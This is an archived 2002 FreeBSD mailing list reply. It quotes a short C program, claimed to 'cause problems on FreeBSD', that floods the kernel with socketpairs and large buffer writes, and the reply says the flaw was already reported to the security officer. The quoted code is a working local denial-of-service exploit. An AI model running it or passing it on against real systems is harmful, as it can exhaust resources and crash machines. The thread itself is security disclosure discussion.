From owner-freebsd-chat Mon Sep 2 1:54:33 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1123337B400 for ; Mon, 2 Sep 2002 01:54:30 -0700 (PDT) Received: from mail.seattleFenix.net (seattleFenix.net [216.39.145.247]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4690043E65 for ; Mon, 2 Sep 2002 01:54:29 -0700 (PDT) (envelope-from roo@mail.seattleFenix.net) Received: (from roo@localhost) by mail.seattleFenix.net (8.11.6/8.11.6) id g828qq274032; Mon, 2 Sep 2002 01:52:52 -0700 (PDT) (envelope-from roo) Date: Mon, 2 Sep 2002 01:52:52 -0700 From: Benjamin Krueger To: Ivan Streetovich Cc: freebsd-chat@freebsd.org Subject: Re: From: Ivan Streetovich, Japan Message-ID: <20020902015252.G64882@mail.seattleFenix.net> References: <20020902061632.77710.qmail@web12905.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020902061632.77710.qmail@web12905.mail.yahoo.com>; from bad_dot_c@yahoo.com on Mon, Sep 02, 2002 at 07:16:32AM +0100 X-PGP-Key: http://www.macguire.net/benjamin/public_key.asc Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org * Ivan Streetovich (bad_dot_c@yahoo.com) [020901 23:15]: > > > > __________________________________________________ > Do You Yahoo!? > Everything you'll ever need on one web page > from News and Sport to Email and Music Charts > http://uk.my.yahoo.com > Date: Mon, 2 Sep 2002 07:05:52 +0100 (BST) > From: Ivan Streetovich > Subject: From: Ivan Streetovich, Japan > To: security@freebsd.com > > #define BUFFERSIZE 204800 > extern int > > /* Released by Ivan Streetovich, Japan * > * Causes problems on FreeBSD */ > > main(void) > { > int p[2], i; > char crap[BUFFERSIZE]; > while (1) > { > if (socketpair(AF_UNIX, SOCK_STREAM, > 0, p) == -1) > break; > i = BUFFERSIZE; > setsockopt(p[0], SOL_SOCKET, > SO_RCVBUF, &i, sizeof(int)); > setsockopt(p[0], SOL_SOCKET, > SO_SNDBUF, &i, sizeof(int)); > setsockopt(p[1], SOL_SOCKET, > SO_RCVBUF, &i, sizeof(int)); > setsockopt(p[1], SOL_SOCKET, > SO_SNDBUF, &i, sizeof(int)); > fcntl(p[0], F_SETFL, O_NONBLOCK); > fcntl(p[1], F_SETFL, O_NONBLOCK); > write(p[0], crap, BUFFERSIZE); > write(p[1], crap, BUFFERSIZE); > } > exit(0); > } This problem (and this exact source code, funnily enough. Are you sure you released it?) has already been reported to the security-officer and is (afaik) being addressed by the developers. =) -- Benjamin Krueger "Everyone has wings, some folks just don't know what they're for" - B. Banzai ---------------------------------------------------------------- Send mail w/ subject 'send public key' or query for (0x251A4B18) Fingerprint = A642 F299 C1C1 C828 F186 A851 CFF0 7711 251A 4B18 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message